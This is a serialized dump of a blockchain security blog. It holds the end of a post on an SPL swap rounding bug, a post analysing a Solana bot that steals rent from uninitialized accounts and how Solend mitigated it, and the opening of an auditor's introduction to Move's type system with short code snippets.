overflow",{"type":29,"value":357},{"type":23,"tag":32,"props":7388,"children":7389},{},[7390],{"type":23,"tag":199,"props":7391,"children":7393},{"alt":7,"src":7392},"/posts/spl-swap/p0.png",[],{"type":23,"tag":32,"props":7395,"children":7396},{},[7397],{"type":29,"value":7398},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":32,"props":7400,"children":7401},{},[7402],{"type":29,"value":7403},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":32,"props":7405,"children":7406},{},[7407],{"type":29,"value":7408},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":7410,"props":7411,"children":7412},"style",{},[7413],{"type":29,"value":7414},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":4868,"depth":4868,"links":7416},[7417,7418,7419,7420],{"id":4947,"depth":4868,"text":4950},{"id":5988,"depth":4868,"text":5991},{"id":6265,"depth":4868,"text":6268},{"id":7353,"depth":4868,"text":7356},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":7425,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7426,"description":7427,"image":7428,"date":7432,"isFeatured":15,"onBlogPage":15,"tags":7433,"body":7434,"_type":4892,"_id":7758,"_source":4894,"_file":7759,"_stem":7760,"_extension":4897},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":7429,"width":7430,"height":7431},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[4909,4910],{"type":20,"children":7435,"toc":7751},[7436,7441,7447,7452,7457,7462,7468,7481,7528,7559,7568,7573,7578,7583,7589,7602,7618,7623,7628,7643,7647,7652,7667,7674,7679,7689,7696,7700,7705,7711,7716,7721,7726,7732,7737],{"type":23,"tag":32,"props":7437,"children":7438},{},[7439],{"type":29,"value":7440},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":24,"props":7442,"children":7444},{"id":7443},"background",[7445],{"type":29,"value":7446},"Background",{"type":23,"tag":32,"props":7448,"children":7449},{},[7450],{"type":29,"value":7451},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":32,"props":7453,"children":7454},{},[7455],{"type":29,"value":7456},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":32,"props":7458,"children":7459},{},[7460],{"type":29,"value":7461},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":24,"props":7463,"children":7465},{"id":7464},"the-exploit",[7466],{"type":29,"value":7467},"The Exploit",{"type":23,"tag":32,"props":7469,"children":7470},{},[7471,7473,7479],{"type":29,"value":7472},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":154,"props":7474,"children":7476},{"className":7475},[],[7477],{"type":29,"value":7478},"init_reserve",{"type":29,"value":7480}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":139,"props":7482,"children":7483},{},[7484,7489,7494,7499,7510,7515],{"type":23,"tag":143,"props":7485,"children":7486},{},[7487],{"type":29,"value":7488},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":143,"props":7490,"children":7491},{},[7492],{"type":29,"value":7493},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":143,"props":7495,"children":7496},{},[7497],{"type":29,"value":7498},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":143,"props":7500,"children":7501},{},[7502,7504],{"type":29,"value":7503},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":154,"props":7505,"children":7507},{"className":7506},[],[7508],{"type":29,"value":7509},"cTokens",{"type":23,"tag":143,"props":7511,"children":7512},{},[7513],{"type":29,"value":7514},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":143,"props":7516,"children":7517},{},[7518,7520,7526],{"type":29,"value":7519},"creator collateral token account - creator's ",{"type":23,"tag":154,"props":7521,"children":7523},{"className":7522},[],[7524],{"type":29,"value":7525},"cToken",{"type":29,"value":7527}," account",{"type":23,"tag":32,"props":7529,"children":7530},{},[7531,7533,7538,7540,7545,7547,7552,7554],{"type":29,"value":7532},"Account creation and initialization are ",{"type":23,"tag":4321,"props":7534,"children":7535},{},[7536],{"type":29,"value":7537},"usually",{"type":29,"value":7539}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":154,"props":7541,"children":7543},{"className":7542},[],[7544],{"type":29,"value":7478},{"type":29,"value":7546}," is ",{"type":23,"tag":4321,"props":7548,"children":7549},{},[7550],{"type":29,"value":7551},"supposed",{"type":29,"value":7553}," to look like:\n",{"type":23,"tag":199,"props":7555,"children":7558},{"src":7556,"alt":7557},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":32,"props":7560,"children":7561},{},[7562,7564],{"type":29,"value":7563},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":199,"props":7565,"children":7567},{"src":7566,"alt":7557},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":32,"props":7569,"children":7570},{},[7571],{"type":29,"value":7572},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":32,"props":7574,"children":7575},{},[7576],{"type":29,"value":7577},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":32,"props":7579,"children":7580},{},[7581],{"type":29,"value":7582},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":24,"props":7584,"children":7586},{"id":7585},"example",[7587],{"type":29,"value":7588},"Example",{"type":23,"tag":32,"props":7590,"children":7591},{},[7592,7594,7601],{"type":29,"value":7593},"Let's take a look at ",{"type":23,"tag":68,"props":7595,"children":7598},{"href":7596,"rel":7597},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[72],[7599],{"type":29,"value":7600},"a real attack",{"type":29,"value":357},{"type":23,"tag":32,"props":7603,"children":7604},{},[7605,7612,7614],{"type":23,"tag":68,"props":7606,"children":7609},{"href":7607,"rel":7608},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[72],[7610],{"type":29,"value":7611},"Transaction 1",{"type":29,"value":7613},":\n",{"type":23,"tag":199,"props":7615,"children":7617},{"alt":7,"src":7616},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":32,"props":7619,"children":7620},{},[7621],{"type":29,"value":7622},"(...more accounts truncated)",{"type":23,"tag":32,"props":7624,"children":7625},{},[7626],{"type":29,"value":7627},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":32,"props":7629,"children":7630},{},[7631,7638,7639],{"type":23,"tag":68,"props":7632,"children":7635},{"href":7633,"rel":7634},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[72],[7636],{"type":29,"value":7637},"Attacker's Transaction",{"type":29,"value":7613},{"type":23,"tag":199,"props":7640,"children":7642},{"alt":7,"src":7641},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":32,"props":7644,"children":7645},{},[7646],{"type":29,"value":7622},{"type":23,"tag":32,"props":7648,"children":7649},{},[7650],{"type":29,"value":7651},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":32,"props":7653,"children":7654},{},[7655,7662,7663],{"type":23,"tag":68,"props":7656,"children":7659},{"href":7657,"rel":7658},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[72],[7660],{"type":29,"value":7661},"Transaction 2",{"type":29,"value":7613},{"type":23,"tag":199,"props":7664,"children":7666},{"alt":7,"src":7665},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":32,"props":7668,"children":7669},{},[7670],{"type":23,"tag":199,"props":7671,"children":7673},{"alt":7,"src":7672},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":32,"props":7675,"children":7676},{},[7677],{"type":29,"value":7678},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":32,"props":7680,"children":7681},{},[7682,7688],{"type":23,"tag":68,"props":7683,"children":7686},{"href":7684,"rel":7685},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[72],[7687],{"type":29,"value":7637},{"type":29,"value":6533},{"type":23,"tag":32,"props":7690,"children":7691},{},[7692],{"type":23,"tag":199,"props":7693,"children":7695},{"alt":7,"src":7694},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":32,"props":7697,"children":7698},{},[7699],{"type":29,"value":7622},{"type":23,"tag":32,"props":7701,"children":7702},{},[7703],{"type":29,"value":7704},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":24,"props":7706,"children":7708},{"id":7707},"impact",[7709],{"type":29,"value":7710},"Impact",{"type":23,"tag":32,"props":7712,"children":7713},{},[7714],{"type":29,"value":7715},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":32,"props":7717,"children":7718},{},[7719],{"type":29,"value":7720},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":32,"props":7722,"children":7723},{},[7724],{"type":29,"value":7725},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":24,"props":7727,"children":7729},{"id":7728},"solution",[7730],{"type":29,"value":7731},"Solution",{"type":23,"tag":32,"props":7733,"children":7734},{},[7735],{"type":29,"value":7736},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":32,"props":7738,"children":7739},{},[7740,7742,7749],{"type":29,"value":7741},"As a more permenant solution, Solend implemented ",{"type":23,"tag":68,"props":7743,"children":7746},{"href":7744,"rel":7745},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[72],[7747],{"type":29,"value":7748},"an onchain program",{"type":29,"value":7750}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":4868,"depth":4868,"links":7752},[7753,7754,7755,7756,7757],{"id":7443,"depth":4868,"text":7446},{"id":7464,"depth":4868,"text":7467},{"id":7585,"depth":4868,"text":7588},{"id":7707,"depth":4868,"text":7710},{"id":7728,"depth":4868,"text":7731},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":7762,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7763,"description":7764,"author":7765,"image":7766,"date":7770,"isFeatured":15,"onBlogPage":15,"body":7771,"_type":4892,"_id":11304,"_source":4894,"_file":11305,"_stem":11306,"_extension":4897},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":7767,"height":7768,"width":7769},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":7772,"toc":11299},[7773,7778,7783,7802,7808,7820,7918,7926,8046,8054,8076,8228,8233,8491,8512,8546,8551,8571,8576,8587,8599,8811,8823,8837,8850,9107,9119,9341,9346,9374,9520,9539,9544,9809,9821,9826,9839,9845,9850,9855,9867,9881,9886,9985,9997,10010,10284,10289,10301,10306,10360,10380,10385,11268,11272,11277,11282,11295],{"type":23,"tag":32,"props":7774,"children":7775},{},[7776],{"type":29,"value":7777},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":32,"props":7779,"children":7780},{},[7781],{"type":29,"value":7782},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":32,"props":7784,"children":7785},{},[7786,7788,7793,7795,7800],{"type":29,"value":7787},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":4321,"props":7789,"children":7790},{},[7791],{"type":29,"value":7792},"how",{"type":29,"value":7794}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":4321,"props":7796,"children":7797},{},[7798],{"type":29,"value":7799},"structurally",{"type":29,"value":7801}," safer programs.",{"type":23,"tag":24,"props":7803,"children":7805},{"id":7804},"types",[7806],{"type":29,"value":7807},"Types",{"type":23,"tag":32,"props":7809,"children":7810},{},[7811,7813,7819],{"type":29,"value":7812},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":154,"props":7814,"children":7816},{"className":7815},[],[7817],{"type":29,"value":7818},"coin.move",{"type":29,"value":357},{"type":23,"tag":4743,"props":7821,"children":7823},{"className":5009,"code":7822,"language":5008,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[7824],{"type":23,"tag":154,"props":7825,"children":7826},{"__ignoreMap":7},[7827,7835,7881,7889,7910],{"type":23,"tag":504,"props":7828,"children":7829},{"class":5016,"line":5017},[7830],{"type":23,"tag":504,"props":7831,"children":7832},{"style":5021},[7833],{"type":29,"value":7834},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":504,"props":7836,"children":7837},{"class":5016,"line":4868},[7838,7843,7848,7852,7857,7862,7867,7872,7877],{"type":23,"tag":504,"props":7839,"children":7840},{"style":5030},[7841],{"type":29,"value":7842},"  struct",{"type":23,"tag":504,"props":7844,"children":7845},{"style":5467},[7846],{"type":29,"value":7847}," Coin",{"type":23,"tag":504,"props":7849,"children":7850},{"style":5058},[7851],{"type":29,"value":2658},{"type":23,"tag":504,"props":7853,"children":7854},{"style":5041},[7855],{"type":29,"value":7856},"phantom",{"type":23,"tag":504,"props":7858,"children":7859},{"style":5467},[7860],{"type":29,"value":7861}," CoinType",{"type":23,"tag":504,"props":7863,"children":7864},{"style":5058},[7865],{"type":29,"value":7866},"> ",{"type":23,"tag":504,"props":7868,"children":7869},{"style":5041},[7870],{"type":29,"value":7871},"has",{"type":23,"tag":504,"props":7873,"children":7874},{"style":5041},[7875],{"type":29,"value":7876}," store",{"type":23,"tag":504,"props":7878,"children":7879},{"style":5058},[7880],{"type":29,"value":5333},{"type":23,"tag":504,"props":7882,"children":7883},{"class":5016,"line":4876},[7884],{"type":23,"tag":504,"props":7885,"children":7886},{"style":5021},[7887],{"type":29,"value":7888},"      /// Amount of coin this address has.\n",{"type":23,"tag":504,"props":7890,"children":7891},{"class":5016,"line":5099},[7892,7897,7901,7906],{"type":23,"tag":504,"props":7893,"children":7894},{"style":5041},[7895],{"type":29,"value":7896},"      value",{"type":23,"tag":504,"props":7898,"children":7899},{"style":5047},[7900],{"type":29,"value":6533},{"type":23,"tag":504,"props":7902,"children":7903},{"style":5467},[7904],{"type":29,"value":7905}," u64",{"type":23,"tag":504,"props":7907,"children":7908},{"style":5058},[7909],{"type":29,"value":5557},{"type":23,"tag":504,"props":7911,"children":7912},{"class":5016,"line":5203},[7913],{"type":23,"tag":504,"props":7914,"children":7915},{"style":5058},[7916],{"type":29,"value":7917},"  }\n",{"type":23,"tag":32,"props":7919,"children":7920},{},[7921],{"type":23,"tag":4321,"props":7922,"children":7923},{},[7924],{"type":29,"value":7925},"aptos",{"type":23,"tag":4743,"props":7927,"children":7929},{"className":5009,"code":7928,"language":5008,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[7930],{"type":23,"tag":154,"props":7931,"children":7932},{"__ignoreMap":7},[7933,7941,7991,8008,8039],{"type":23,"tag":504,"props":7934,"children":7935},{"class":5016,"line":5017},[7936],{"type":23,"tag":504,"props":7937,"children":7938},{"style":5021},[7939],{"type":29,"value":7940},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":504,"props":7942,"children":7943},{"class":5016,"line":4868},[7944,7948,7952,7956,7960,7965,7969,7973,7978,7982,7987],{"type":23,"tag":504,"props":7945,"children":7946},{"style":5030},[7947],{"type":29,"value":7842},{"type":23,"tag":504,"props":7949,"children":7950},{"style":5467},[7951],{"type":29,"value":7847},{"type":23,"tag":504,"props":7953,"children":7954},{"style":5058},[7955],{"type":29,"value":2658},{"type":23,"tag":504,"props":7957,"children":7958},{"style":5041},[7959],{"type":29,"value":7856},{"type":23,"tag":504,"props":7961,"children":7962},{"style":5467},[7963],{"type":29,"value":7964}," T",{"type":23,"tag":504,"props":7966,"children":7967},{"style":5058},[7968],{"type":29,"value":7866},{"type":23,"tag":504,"props":7970,"children":7971},{"style":5041},[7972],{"type":29,"value":7871},{"type":23,"tag":504,"props":7974,"children":7975},{"style":5041},[7976],{"type":29,"value":7977}," key",{"type":23,"tag":504,"props":7979,"children":7980},{"style":5058},[7981],{"type":29,"value":4367},{"type":23,"tag":504,"props":7983,"children":7984},{"style":5041},[7985],{"type":29,"value":7986},"store",{"type":23,"tag":504,"props":7988,"children":7989},{"style":5058},[7990],{"type":29,"value":5333},{"type":23,"tag":504,"props":7992,"children":7993},{"class":5016,"line":4876},[7994,7999,8003],{"type":23,"tag":504,"props":7995,"children":7996},{"style":5041},[7997],{"type":29,"value":7998},"      id",{"type":23,"tag":504,"props":8000,"children":8001},{"style":5047},[8002],{"type":29,"value":6533},{"type":23,"tag":504,"props":8004,"children":8005},{"style":5058},[8006],{"type":29,"value":8007}," UID,\n",{"type":23,"tag":504,"props":8009,"children":8010},{"class":5016,"line":5099},[8011,8016,8020,8025,8029,8034],{"type":23,"tag":504,"props":8012,"children":8013},{"style":5041},[8014],{"type":29,"value":8015},"      balance",{"type":23,"tag":504,"props":8017,"children":8018},{"style":5047},[8019],{"type":29,"value":6533},{"type":23,"tag":504,"props":8021,"children":8022},{"style":5467},[8023],{"type":29,"value":8024}," Balance",{"type":23,"tag":504,"props":8026,"children":8027},{"style":5058},[8028],{"type":29,"value":2658},{"type":23,"tag":504,"props":8030,"children":8031},{"style":5467},[8032],{"type":29,"value":8033},"T",{"type":23,"tag":504,"props":8035,"children":8036},{"style":5058},[8037],{"type":29,"value":8038},">\n",{"type":23,"tag":504,"props":8040,"children":8041},{"class":5016,"line":5203},[8042],{"type":23,"tag":504,"props":8043,"children":8044},{"style":5058},[8045],{"type":29,"value":7917},{"type":23,"tag":32,"props":8047,"children":8048},{},[8049],{"type":23,"tag":4321,"props":8050,"children":8051},{},[8052],{"type":29,"value":8053},"sui",{"type":23,"tag":32,"props":8055,"children":8056},{},[8057,8059,8066,8068,8074],{"type":29,"value":8058},"Pulling an example from ",{"type":23,"tag":68,"props":8060,"children":8063},{"href":8061,"rel":8062},"https://pontem.network/",[72],[8064],{"type":29,"value":8065},"Pontem Network's",{"type":29,"value":8067}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":154,"props":8069,"children":8071},{"className":8070},[],[8072],{"type":29,"value":8073},"LiquidityPool",{"type":29,"value":8075}," natively embeds this type information into it's fields.",{"type":23,"tag":4743,"props":8077,"children":8079},{"className":5009,"code":8078,"language":5008,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[8080],{"type":23,"tag":154,"props":8081,"children":8082},{"__ignoreMap":7},[8083,8091,8155,8184,8213,8221],{"type":23,"tag":504,"props":8084,"children":8085},{"class":5016,"line":5017},[8086],{"type":23,"tag":504,"props":8087,"children":8088},{"style":5021},[8089],{"type":29,"value":8090},"    /// Liquidity pool with reserves.\n",{"type":23,"tag":504,"props":8092,"children":8093},{"class":5016,"line":4868},[8094,8099,8104,8108,8112,8117,8121,8125,8130,8134,8138,8143,8147,8151],{"type":23,"tag":504,"props":8095,"children":8096},{"style":5030},[8097],{"type":29,"value":8098},"    struct",{"type":23,"tag":504,"props":8100,"children":8101},{"style":5467},[8102],{"type":29,"value":8103}," LiquidityPool",{"type":23,"tag":504,"props":8105,"children":8106},{"style":5058},[8107],{"type":29,"value":2658},{"type":23,"tag":504,"props":8109,"children":8110},{"style":5041},[8111],{"type":29,"value":7856},{"type":23,"tag":504,"props":8113,"children":8114},{"style":5467},[8115],{"type":29,"value":8116}," X",{"type":23,"tag":504,"props":8118,"children":8119},{"style":5058},[8120],{"type":29,"value":4367},{"type":23,"tag":504,"props":8122,"children":8123},{"style":5041},[8124],{"type":29,"value":7856},{"type":23,"tag":504,"props":8126,"children":8127},{"style":5467},[8128],{"type":29,"value":8129}," Y",{"type":23,"tag":504,"props":8131,"children":8132},{"style":5058},[8133],{"type":29,"value":4367},{"type":23,"tag":504,"props":8135,"children":8136},{"style":5041},[8137],{"type":29,"value":7856},{"type":23,"tag":504,"props":8139,"children":8140},{"style":5058},[8141],{"type":29,"value":8142}," LP> ",{"type":23,"tag":504,"props":8144,"children":8145},{"style":5041},[8146],{"type":29,"value":7871},{"type":23,"tag":504,"props":8148,"children":8149},{"style":5041},[8150],{"type":29,"value":7977},{"type":23,"tag":504,"props":8152,"children":8153},{"style":5058},[8154],{"type":29,"value":5333},{"type":23,"tag":504,"props":8156,"children":8157},{"class":5016,"line":4876},[8158,8163,8167,8171,8175,8179],{"type":23,"tag":504,"props":8159,"children":8160},{"style":5041},[8161],{"type":29,"value":8162},"        coin_x_reserve",{"type":23,"tag":504,"props":8164,"children":8165},{"style":5047},[8166],{"type":29,"value":6533},{"type":23,"tag":504,"props":8168,"children":8169},{"style":5467},[8170],{"type":29,"value":7847},{"type":23,"tag":504,"props":8172,"children":8173},{"style":5058},[8174],{"type":29,"value":2658},{"type":23,"tag":504,"props":8176,"children":8177},{"style":5467},[8178],{"type":29,"value":2689},{"type":23,"tag":504,"props":8180,"children":8181},{"style":5058},[8182],{"type":29,"value":8183},">,\n",{"type":23,"tag":504,"props":8185,"children":8186},{"class":5016,"line":5099},[8187,8192,8196,8200,8204,8209],{"type":23,"tag":504,"props":8188,"children":8189},{"style":5041},[8190],{"type":29,"value":8191},"        coin_y_reserve",{"type":23,"tag":504,"props":8193,"children":8194},{"style":5047},[8195],{"type":29,"value":6533},{"type":23,"tag":504,"props":8197,"children":8198},{"style":5467},[8199],{"type":29,"value":7847},{"type":23,"tag":504,"props":8201,"children":8202},{"style":5058},[8203],{"type":29,"value":2658},{"type":23,"tag":504,"props":8205,"children":8206},{"style":5467},[8207],{"type":29,"value":8208},"Y",{"type":23,"tag":504,"props":8210,"children":8211},{"style":5058},[8212],{"type":29,"value":8183},{"type":23,"tag":504,"props":8214,"children":8215},{"class":5016,"line":5203},[8216],{"type":23,"tag":504,"props":8217,"children":8218},{"style":5021},[8219],{"type":29,"value":8220},"        // ...\n",{"type":23,"tag":504,"props":8222,"children":8223},{"class":5016,"line":5308},[8224],{"type":23,"tag":504,"props":8225,"children":8226},{"style":5058},[8227],{"type":29,"value":5403},{"type":23,"tag":32,"props":8229,"children":8230},{},[8231],{"type":29,"value":8232},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":4743,"props":8234,"children":8236},{"className":5009,"code":8235,"language":5008,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[8237],{"type":23,"tag":154,"props":8238,"children":8239},{"__ignoreMap":7},[8240,8279,8300,8328,8356,8407,8415,8422],{"type":23,"tag":504,"props":8241,"children":8242},{"class":5016,"line":5017},[8243,8248,8253,8258,8262,8266,8270,8274],{"type":23,"tag":504,"props":8244,"children":8245},{"style":5041},[8246],{"type":29,"value":8247},"      public",{"type":23,"tag":504,"props":8249,"children":8250},{"style":5041},[8251],{"type":29,"value":8252}," fun",{"type":23,"tag":504,"props":8254,"children":8255},{"style":5041},[8256],{"type":29,"value":8257}," mint",{"type":23,"tag":504,"props":8259,"children":8260},{"style":5058},[8261],{"type":29,"value":2658},{"type":23,"tag":504,"props":8263,"children":8264},{"style":5467},[8265],{"type":29,"value":2689},{"type":23,"tag":504,"props":8267,"children":8268},{"style":5058},[8269],{"type":29,"value":4367},{"type":23,"tag":504,"props":8271,"children":8272},{"style":5467},[8273],{"type":29,"value":8208},{"type":23,"tag":504,"props":8275,"children":8276},{"style":5058},[8277],{"type":29,"value":8278},", LP>(\n",{"type":23,"tag":504,"props":8280,"children":8281},{"class":5016,"line":4868},[8282,8287,8291,8296],{"type":23,"tag":504,"props":8283,"children":8284},{"style":5041},[8285],{"type":29,"value":8286},"          pool_addr",{"type":23,"tag":504,"props":8288,"children":8289},{"style":5047},[8290],{"type":29,"value":6533},{"type":23,"tag":504,"props":8292,"children":8293},{"style":5041},[8294],{"type":29,"value":8295}," address",{"type":23,"tag":504,"props":8297,"children":8298},{"style":5058},[8299],{"type":29,"value":5557},{"type":23,"tag":504,"props":8301,"children":8302},{"class":5016,"line":4876},[8303,8308,8312,8316,8320,8324],{"type":23,"tag":504,"props":8304,"children":8305},{"style":5041},[8306],{"type":29,"value":8307},"          coin_x",{"type":23,"tag":504,"props":8309,"children":8310},{"style":5047},[8311],{"type":29,"value":6533},{"type":23,"tag":504,"props":8313,"children":8314},{"style":5467},[8315],{"type":29,"value":7847},{"type":23,"tag":504,"props":8317,"children":8318},{"style":5058},[8319],{"type":29,"value":2658},{"type":23,"tag":504,"props":8321,"children":8322},{"style":5467},[8323],{"type":29,"value":2689},{"type":23,"tag":504,"props":8325,"children":8326},{"style":5058},[8327],{"type":29,"value":8183},{"type":23,"tag":504,"props":8329,"children":8330},{"class":5016,"line":5099},[8331,8336,8340,8344,8348,8352],{"type":23,"tag":504,"props":8332,"children":8333},{"style":5041},[8334],{"type":29,"value":8335},"          coin_y",{"type":23,"tag":504,"props":8337,"children":8338},{"style":5047},[8339],{"type":29,"value":6533},{"type":23,"tag":504,"props":8341,"children":8342},{"style":5467},[8343],{"type":29,"value":7847},{"type":23,"tag":504,"props":8345,"children":8346},{"style":5058},[8347],{"type":29,"value":2658},{"type":23,"tag":504,"props":8349,"children":8350},{"style":5467},[8351],{"type":29,"value":8208},{"type":23,"tag":504,"props":8353,"children":8354},{"style":5058},[8355],{"type":29,"value":8038},{"type":23,"tag":504,"props":8357,"children":8358},{"class":5016,"line":5203},[8359,8364,8368,8372,8376,8381,8385,8390,8394,8398,8403],{"type":23,"tag":504,"props":8360,"children":8361},{"style":5058},[8362],{"type":29,"value":8363},"      